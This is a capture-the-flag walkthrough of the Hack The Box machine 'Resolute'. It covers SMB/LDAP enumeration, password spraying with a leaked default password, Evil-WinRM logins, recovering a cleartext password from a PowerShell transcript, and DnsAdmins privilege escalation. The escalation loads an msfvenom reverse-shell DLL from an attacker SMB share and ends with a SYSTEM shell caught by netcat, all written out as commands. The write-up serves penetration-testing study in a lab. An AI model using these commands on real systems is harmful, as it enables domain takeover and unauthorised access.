htb-resolute.nl

Like all windows based machines, I added IP 10.10.10.169 to my etc / hosts as resolute.htb and ran a port scan with nmap

NMAP  SCAN RESULTS

E:\PENTEST>nmap -T4 -A -v 10.10.10.169
Starting Nmap 7.70 ( https://nmap.org ) at 2020-07-10 09:15 W. Europe Summer Time
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:15
Completed NSE at 09:15, 0.00s elapsed
Initiating NSE at 09:15
Completed NSE at 09:15, 0.00s elapsed
Initiating Ping Scan at 09:15
Scanning 10.10.10.169 [4 ports]
Completed Ping Scan at 09:15, 2.59s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:16
Completed Parallel DNS resolution of 1 host. at 09:16, 0.00s elapsed
Initiating SYN Stealth Scan at 09:16
Scanning 10.10.10.169 [1000 ports]
Discovered open port 445/tcp on 10.10.10.169
Discovered open port 135/tcp on 10.10.10.169
Discovered open port 139/tcp on 10.10.10.169
Discovered open port 88/tcp on 10.10.10.169
Discovered open port 636/tcp on 10.10.10.169
Discovered open port 593/tcp on 10.10.10.169
Discovered open port 389/tcp on 10.10.10.169
Discovered open port 464/tcp on 10.10.10.169
Completed SYN Stealth Scan at 09:16, 1.31s elapsed (1000 total ports)
Initiating Service scan at 09:16
Scanning 8 services on 10.10.10.169
Completed Service scan at 09:16, 17.39s elapsed (8 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.169
Retrying OS detection (try #2) against 10.10.10.169
Retrying OS detection (try #3) against 10.10.10.169
Retrying OS detection (try #4) against 10.10.10.169
Retrying OS detection (try #5) against 10.10.10.169
Initiating Traceroute at 09:16
Completed Traceroute at 09:16, 0.15s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 09:16
Completed Parallel DNS resolution of 2 hosts. at 09:16, 6.51s elapsed
NSE: Script scanning 10.10.10.169.
Initiating NSE at 09:16
Completed NSE at 09:17, 26.25s elapsed
Initiating NSE at 09:17
Completed NSE at 09:17, 0.21s elapsed
Nmap scan report for 10.10.10.169
Host is up (0.18s latency).
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-07-10 07:29:38Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=7/10%OT=88%CT=1%CU=37112%PV=Y%DS=2%DC=T%G=Y%TM=5F0815F
OS:B%P=i686-pc-windows-windows)SEQ(SP=100%GCD=1%ISR=102%TI=I%CI=I%II=I%SS=S
OS:%TS=9)SEQ(SP=100%GCD=1%ISR=102%TI=RD%CI=RD%II=I%TS=A)OPS(O1=M54DNW8ST11%
OS:O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11
OS:)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W
OS:=2000%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y
OS:%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR
OS:%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q
OS:=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164
OS:%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h33m20s, deviation: 4h02m31s, median: 13m19s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Resolute
| NetBIOS computer name: RESOLUTE\x00
| Domain name: megabank.local
| Forest name: megabank.local
| FQDN: Resolute.megabank.local
|_ System time: 2020-07-10T00:30:12-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-07-10 09:30:10
|_ start_date: 2020-07-10 09:29:14

TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 85.00 ms 10.10.14.1
2 144.00 ms 10.10.10.169

NSE: Script Post-scanning.
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Read data files from: C:\Program Files (x86)\Nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.49 seconds
Raw packets sent: 1108 (52.474KB) | Rcvd: 1122 (48.618KB)

E:\PENTEST>

Next i used enum4linux

kali@kali:~/htb/resolute$ enum4linux 10.10.10.169
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Jul 10 03:23:18 2020

==========================
| Target Information |
==========================
Target ........... 10.10.10.169
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


====================================================
| Enumerating Workgroup/Domain on 10.10.10.169 |
====================================================
[E] Can't find workgroup/domain


============================================
| Nbtstat Information for 10.10.10.169 |
============================================
Looking up status of 10.10.10.169
No reply from 10.10.10.169

=====================================
| Session Check on 10.10.10.169 |
=====================================
[+] Server 10.10.10.169 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name:

===========================================
| Getting domain SID for 10.10.10.169 |
===========================================
Domain Name: MEGABANK
Domain Sid: S-1-5-21-1392959593-3013219662-3596683436
[+] Host is part of a domain (not a workgroup)

======================================
| OS information on 10.10.10.169 |
======================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.
[+] Got OS info for 10.10.10.169 from smbclient:
[+] Got OS info for 10.10.10.169 from srvinfo:
Unable to initialize messaging context
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

=============================
| Users on 10.10.10.169 |
=============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

=========================================
| Share Enumeration on 10.10.10.169 |
=========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.
directory_create_or_exist: mkdir failed on directory /run/samba/msg.lock: Permission denied
Unable to initialize messaging context

Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.10.169

====================================================
| Password Policy Information for 10.10.10.169 |
====================================================


[+] Attaching to 10.10.10.169 using a NULL share

[+] Trying protocol 139/SMB...

[!] Protocol failed: Cannot request session (Called Name:10.10.10.169)

[+] Trying protocol 445/SMB...

[+] Found domain(s):

[+] MEGABANK
[+] Builtin

[+] Password Info for Domain: MEGABANK

[+] Minimum password length: 7
[+] Password history length: 24
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000

[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0

[+] Minimum password age: 1 day 4 minutes
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 7


==============================
| Groups on 10.10.10.169 |
==============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.

[+] Getting builtin groups:
group:[Account Operators] rid:[0x224]
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Administrators] rid:[0x220]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Print Operators] rid:[0x226]
group:[Backup Operators] rid:[0x227]
group:[Replicator] rid:[0x228]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[System Managed Accounts Group] rid:[0x245]
group:[Storage Replica Administrators] rid:[0x246]
group:[Server Operators] rid:[0x225]

[+] Getting builtin group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.


[+] Getting local groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]

[+] Getting local group memberships:
Group 'Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.

[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Contractors] rid:[0x44f]

[+] Getting domain group memberships:
Group 'Contractors' (RID: 1103) has member: MEGABANK\ryan
Group 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
Group 'Domain Users' (RID: 513) has member: MEGABANK\DefaultAccount
Group 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group 'Domain Users' (RID: 513) has member: MEGABANK\ryan
Group 'Domain Users' (RID: 513) has member: MEGABANK\marko
Group 'Domain Users' (RID: 513) has member: MEGABANK\sunita
Group 'Domain Users' (RID: 513) has member: MEGABANK\abigail
Group 'Domain Users' (RID: 513) has member: MEGABANK\marcus
Group 'Domain Users' (RID: 513) has member: MEGABANK\sally
Group 'Domain Users' (RID: 513) has member: MEGABANK\fred
Group 'Domain Users' (RID: 513) has member: MEGABANK\angela
Group 'Domain Users' (RID: 513) has member: MEGABANK\felicia
Group 'Domain Users' (RID: 513) has member: MEGABANK\gustavo
Group 'Domain Users' (RID: 513) has member: MEGABANK\ulf
Group 'Domain Users' (RID: 513) has member: MEGABANK\stevie
Group 'Domain Users' (RID: 513) has member: MEGABANK\claire
Group 'Domain Users' (RID: 513) has member: MEGABANK\paulo
Group 'Domain Users' (RID: 513) has member: MEGABANK\steve
Group 'Domain Users' (RID: 513) has member: MEGABANK\annette
Group 'Domain Users' (RID: 513) has member: MEGABANK\annika
Group 'Domain Users' (RID: 513) has member: MEGABANK\per
Group 'Domain Users' (RID: 513) has member: MEGABANK\claude
Group 'Domain Users' (RID: 513) has member: MEGABANK\melanie
Group 'Domain Users' (RID: 513) has member: MEGABANK\zach
Group 'Domain Users' (RID: 513) has member: MEGABANK\simon
Group 'Domain Users' (RID: 513) has member: MEGABANK\naoki
Group 'Domain Computers' (RID: 515) has member: MEGABANK\MS02$
Group 'Enterprise Admins' (RID: 519) has member: MEGABANK\Administrator
Group 'Domain Admins' (RID: 512) has member: MEGABANK\Administrator
Group 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Group 'Schema Admins' (RID: 518) has member: MEGABANK\Administrator
Group 'Domain Controllers' (RID: 516) has member: MEGABANK\RESOLUTE$

=======================================================================
| Users on 10.10.10.169 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.

=============================================
| Getting printer info for 10.10.10.169 |
=============================================
Unable to initialize messaging context
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Fri Jul 10 03:25:47 2020

kali@kali:~/htb$

I have the list of users and their roles and a clear text password of a user.

GETTING USER

Let us exploit SAMBA Service using RPCClient tool. Before that, let us gather some more information about the user Marko who’s password we have in clear text format in the Enum4Linux scan.

I tried to run EvilWinRM with the user Marko’s credentials, but it didn’t work. So, I guessed that Marko doesn’t have access to the system or his account is locked out. I decided to use the same password for the rest of the users, the password Welcome123!  worked for Melanie.

kali@kali:/opt/evil-winrm$ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p Welcome123!

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\melanie\Documents> cd ..
*Evil-WinRM* PS C:\Users\melanie> cd Desktop
*Evil-WinRM* PS C:\Users\melanie\Desktop> dir


Directory: C:\Users\melanie\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/3/2019 7:33 AM 32 user.txt


*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt
0c3[redacted]540
*Evil-WinRM* PS C:\Users\melanie\Desktop>

view for the hidden directories.

*Evil-WinRM* PS C:\> dir -force

I noticed the directory “PSTranscripts” and went on finding what is inside. The directory has a folder “20191203” inside, and there is a text file called “PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt”. The text file is a PowerShell transcript. I used Type to read the text file, here is the full transcript.

*Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Command start time: 20191203063455
**********************
PS>TerminatingError(): "System error."
>> CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
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*Evil-WinRM* PS C:\PSTranscripts\20191203>

I found a lot of useful information including user Ryan (probably a System Administrator), link to backups, system files location etc.

next use EvilWinRM again to login as Ryan.

kali@kali:/opt/evil-winrm$ ruby evil-winrm.rb -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan\Documents> dir -force


Directory: C:\Users\ryan\Documents


Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hsl 9/27/2019 7:05 AM My Music
d--hsl 9/27/2019 7:05 AM My Pictures
d--hsl 9/27/2019 7:05 AM My Videos


*Evil-WinRM* PS C:\Users\ryan\Documents>
The user ryan is found to be a member of DnsAdmins . Being a member of the DnsAdmins group allows us to use the dnscmd.exe to specify a plugin DLL that should be loaded by the DNSservice.

kali@kali:~/htb/resolute$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.13 LPORT=4444 --platform=windows -f dll > plugin.dll
[-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 5120 bytes

or we use:
msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -f dll > da.dll Transferring this to the box would likely trigger Windows Defender, so we can use Impacket's smbserver.py to start an SMB server and host the dll remotely. 

kali@kali:~/htb/resolute$ sudo python3 smbserver.py share ./ Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (10.10.10.169,50628) [*] AUTHENTICATE_MESSAGE (MEGABANK\RESOLUTE$,RESOLUTE) [*] User RESOLUTE\RESOLUTE$ authenticated successfully [*] RESOLUTE$::MEGABANK:4141414141414141:283a502fc11be6ad1ec4fa0aa4cabfba:010100000000000080db3d319d56d601c17a65539582e7de0000000001001000750078006f0050004f0058005300650003001000750078006f0050004f00580053006500020010006200620042005700410073006300430004001000620062004200570041007300630043000700080080db3d319d56d601060004000200000008003000300000000000000000000000004000001d931475038242cfeeee05844da428985f415e4fa4005bcd9cf845e6c9bda5510a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310033000000000000000000 [*] Disconnecting Share(1:IPC$) [*] Disconnecting Share(2:SHARE) [*] Handle: 'ConnectionResetError' object is not subscriptable [*] Closing down connection (10.10.10.169,50628) [*] Remaining connections [] 


*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd resolute /config /serverlevelplugindll \\10.10.14.13\share\plugin.dll
*Evil-WinRM* PS C:\Users\ryan\Documents> sc stop dns
*Evil-WinRM* PS C:\Users\ryan\Documents> sc start dns


kali@kali:~/htb/resolute$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.169] 50629
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname
hostname
Resolute

C:\Windows\system32>whoami
whoami
nt authority\system

Author: Puckiestyle

 

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